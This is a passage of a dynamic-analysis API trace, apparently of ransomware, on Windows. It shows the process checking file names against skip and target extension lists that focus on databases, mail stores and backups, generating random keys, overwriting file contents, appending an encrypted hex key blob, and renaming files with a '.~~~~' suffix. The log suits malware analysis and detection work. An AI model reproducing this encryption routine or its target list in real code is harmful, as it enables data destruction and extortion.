	[0078.075] lstrlenW (lpString=".db") returned 3
	[0078.075] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".db") returned 0x0
	[0078.075] lstrlenW (lpString=".TXT") returned 4
	[0078.075] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".TXT") returned 0x0
	[0078.075] lstrlenW (lpString=".MDF") returned 4
	[0078.075] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".MDF") returned 0x0
	[0078.075] lstrlenW (lpString=".bdb") returned 4
	[0078.075] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".bdb") returned 0x0
	[0078.075] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0078.075] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0078.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0078.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0078.075] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0078.076] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0078.076] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0078.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0078.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0078.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x28061e8
	[0078.077] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19806782549) returned 1
	[0078.078] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x986d6450, dwHighDateTime=0x1d60e1e)) 
	[0078.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0078.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0078.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0078.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a98b8
	[0078.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0078.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a98b8 | out: hHeap=0x300000) returned 1
	[0078.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0078.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0078.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7450
	[0078.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0078.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a85f8
	[0078.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0078.078] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0078.079] GetLastError () returned 0x0
	[0078.079] GetLastError () returned 0x0
	[0078.079] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0078.079] GetLastError () returned 0x0
	[0078.079] GetLastError () returned 0x0
	[0078.079] ReadFile (in: hFile=0x118, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0078.083] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0078.084] WriteFile (in: hFile=0x118, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0078.085] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0078.085] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.085] WriteFile (in: hFile=0x118, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0078.087] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0078.087] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0078.088] CloseHandle (hObject=0x118) returned 1
	[0078.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0078.088] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.~~~~")) returned 1
	[0078.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0078.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0078.089] GetLastError () returned 0x0
	[0078.089] RtlWakeConditionVariable () returned 0x365f70
	[0078.089] GetCurrentThreadId () returned 0xaf0
	[0078.089] GetCurrentThreadId () returned 0xaf0
	[0078.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7b48
	[0078.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a88f0 | out: hHeap=0x300000) returned 1
	[0078.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a98f0 | out: hHeap=0x300000) returned 1
	[0078.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a88f0
	[0078.089] lstrlenW (lpString=".scr") returned 4
	[0078.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".scr") returned 0x0
	[0078.089] lstrlenW (lpString=".cmd") returned 4
	[0078.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".cmd") returned 0x0
	[0078.089] lstrlenW (lpString=".dll") returned 4
	[0078.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".dll") returned 0x0
	[0078.090] lstrlenW (lpString=".bat") returned 4
	[0078.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".bat") returned 0x0
	[0078.090] lstrlenW (lpString=".cpl") returned 4
	[0078.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".cpl") returned 0x0
	[0078.090] lstrlenW (lpString=".sys") returned 4
	[0078.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".sys") returned 0x0
	[0078.090] lstrlenW (lpString=".msc") returned 4
	[0078.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".msc") returned 0x0
	[0078.090] lstrlenW (lpString=".com") returned 4
	[0078.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".com") returned 0x0
	[0078.090] lstrlenW (lpString=".lnk") returned 4
	[0078.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".lnk") returned 0x0
	[0078.090] lstrlenW (lpString=".msp") returned 4
	[0078.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".msp") returned 0x0
	[0078.090] lstrlenW (lpString=".pif") returned 4
	[0078.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".pif") returned 0x0
	[0078.090] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch="msp\r\n.pif") returned 0x0
	[0078.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0078.092] lstrlenW (lpString=".sqb") returned 4
	[0078.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".sqb") returned 0x0
	[0078.092] lstrlenW (lpString=".ost") returned 4
	[0078.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".ost") returned 0x0
	[0078.092] lstrlenW (lpString=".txt") returned 4
	[0078.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".txt") returned 0x0
	[0078.092] lstrlenW (lpString=".mdt") returned 4
	[0078.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".mdt") returned 0x0
	[0078.092] lstrlenW (lpString=".BDB") returned 4
	[0078.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".BDB") returned 0x0
	[0078.092] lstrlenW (lpString=".eql") returned 4
	[0078.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".eql") returned 0x0
	[0078.092] lstrlenW (lpString=".DBF") returned 4
	[0078.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".DBF") returned 0x0
	[0078.092] lstrlenW (lpString=".EQL") returned 4
	[0078.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".EQL") returned 0x0
	[0078.092] lstrlenW (lpString=".FDB") returned 4
	[0078.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".FDB") returned 0x0
	[0078.092] lstrlenW (lpString=".EDB") returned 4
	[0078.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".EDB") returned 0x0
	[0078.092] lstrlenW (lpString=".DACPAC") returned 7
	[0078.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".DACPAC") returned 0x0
	[0078.092] lstrlenW (lpString=".VHD") returned 4
	[0078.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".VHD") returned 0x0
	[0078.092] lstrlenW (lpString=".DBV") returned 4
	[0078.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".DBV") returned 0x0
	[0078.092] lstrlenW (lpString=".dacpac") returned 7
	[0078.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".dacpac") returned 0x0
	[0078.093] lstrlenW (lpString=".sdf") returned 4
	[0078.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".sdf") returned 0x0
	[0078.093] lstrlenW (lpString=".accdb") returned 6
	[0078.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".accdb") returned 0x0
	[0078.093] lstrlenW (lpString=".DBX") returned 4
	[0078.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".DBX") returned 0x0
	[0078.093] lstrlenW (lpString=".MDT") returned 4
	[0078.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".MDT") returned 0x0
	[0078.093] lstrlenW (lpString=".SQB") returned 4
	[0078.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".SQB") returned 0x0
	[0078.093] lstrlenW (lpString=".vhd") returned 4
	[0078.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".vhd") returned 0x0
	[0078.093] lstrlenW (lpString=".bac") returned 4
	[0078.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".bac") returned 0x0
	[0078.093] lstrlenW (lpString=".mdf") returned 4
	[0078.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".mdf") returned 0x0
	[0078.093] lstrlenW (lpString=".BAK") returned 4
	[0078.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".BAK") returned 0x0
	[0078.093] lstrlenW (lpString=".BAC") returned 4
	[0078.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".BAC") returned 0x0
	[0078.093] lstrlenW (lpString=".dbs") returned 4
	[0078.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".dbs") returned 0x0
	[0078.093] lstrlenW (lpString=".vhdx") returned 5
	[0078.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".vhdx") returned 0x0
	[0078.093] lstrlenW (lpString=".NDF") returned 4
	[0078.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".NDF") returned 0x0
	[0078.093] lstrlenW (lpString=".dat") returned 4
	[0078.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".dat") returned 0x0
	[0078.094] lstrlenW (lpString=".DBS") returned 4
	[0078.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".DBS") returned 0x0
	[0078.094] lstrlenW (lpString=".CKP") returned 4
	[0078.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".CKP") returned 0x0
	[0078.094] lstrlenW (lpString=".edb") returned 4
	[0078.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".edb") returned 0x0
	[0078.094] lstrlenW (lpString=".PST") returned 4
	[0078.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".PST") returned 0x0
	[0078.094] lstrlenW (lpString=".dbf") returned 4
	[0078.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".dbf") returned 0x0
	[0078.094] lstrlenW (lpString=".SQL") returned 4
	[0078.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".SQL") returned 0x0
	[0078.094] lstrlenW (lpString=".pst") returned 4
	[0078.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".pst") returned 0x0
	[0078.094] lstrlenW (lpString=".dbv") returned 4
	[0078.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".dbv") returned 0x0
	[0078.094] lstrlenW (lpString=".SDF") returned 4
	[0078.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".SDF") returned 0x0
	[0078.094] lstrlenW (lpString=".dtxs") returned 5
	[0078.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".dtxs") returned 0x0
	[0078.094] lstrlenW (lpString=".db3") returned 4
	[0078.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".db3") returned 0x0
	[0078.094] lstrlenW (lpString=".OST") returned 4
	[0078.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".OST") returned 0x0
	[0078.094] lstrlenW (lpString=".dbx") returned 4
	[0078.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".dbx") returned 0x0
	[0078.095] lstrlenW (lpString=".DB3") returned 4
	[0078.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".DB3") returned 0x0
	[0078.095] lstrlenW (lpString=".DAT") returned 4
	[0078.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".DAT") returned 0x0
	[0078.095] lstrlenW (lpString=".VHDX") returned 5
	[0078.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".VHDX") returned 0x0
	[0078.095] lstrlenW (lpString=".ndf") returned 4
	[0078.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".ndf") returned 0x0
	[0078.095] lstrlenW (lpString=".DB") returned 3
	[0078.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".DB") returned 0x0
	[0078.095] lstrlenW (lpString=".sql") returned 4
	[0078.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".sql") returned 0x0
	[0078.095] lstrlenW (lpString=".MYD") returned 4
	[0078.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".MYD") returned 0x0
	[0078.095] lstrlenW (lpString=".DBT") returned 4
	[0078.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".DBT") returned 0x0
	[0078.095] lstrlenW (lpString=".ACCDB") returned 6
	[0078.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".ACCDB") returned 0x0
	[0078.095] lstrlenW (lpString=".fdb") returned 4
	[0078.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".fdb") returned 0x0
	[0078.095] lstrlenW (lpString=".bak") returned 4
	[0078.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".bak") returned 0x0
	[0078.095] lstrlenW (lpString=".myd") returned 4
	[0078.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".myd") returned 0x0
	[0078.095] lstrlenW (lpString=".DTXS") returned 5
	[0078.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".DTXS") returned 0x0
	[0078.095] lstrlenW (lpString=".ckp") returned 4
	[0078.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".ckp") returned 0x0
	[0078.096] lstrlenW (lpString=".dbt") returned 4
	[0078.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".dbt") returned 0x0
	[0078.096] lstrlenW (lpString=".db") returned 3
	[0078.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".db") returned 0x0
	[0078.096] lstrlenW (lpString=".TXT") returned 4
	[0078.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".TXT") returned 0x0
	[0078.096] lstrlenW (lpString=".MDF") returned 4
	[0078.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".MDF") returned 0x0
	[0078.096] lstrlenW (lpString=".bdb") returned 4
	[0078.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".bdb") returned 0x0
	[0078.096] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0078.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0078.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0078.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0078.096] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0078.099] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0078.099] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0078.099] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0078.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0078.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3e46f0
	[0078.100] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19810089146) returned 1
	[0078.154] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x98794b30, dwHighDateTime=0x1d60e1e)) 
	[0078.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0078.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0078.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0078.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9998
	[0078.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0078.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9998 | out: hHeap=0x300000) returned 1
	[0078.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0078.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0078.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7450
	[0078.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0078.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8a20
	[0078.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0078.155] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0078.155] GetLastError () returned 0x0
	[0078.155] GetLastError () returned 0x0
	[0078.155] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0078.155] GetLastError () returned 0x0
	[0078.156] GetLastError () returned 0x0
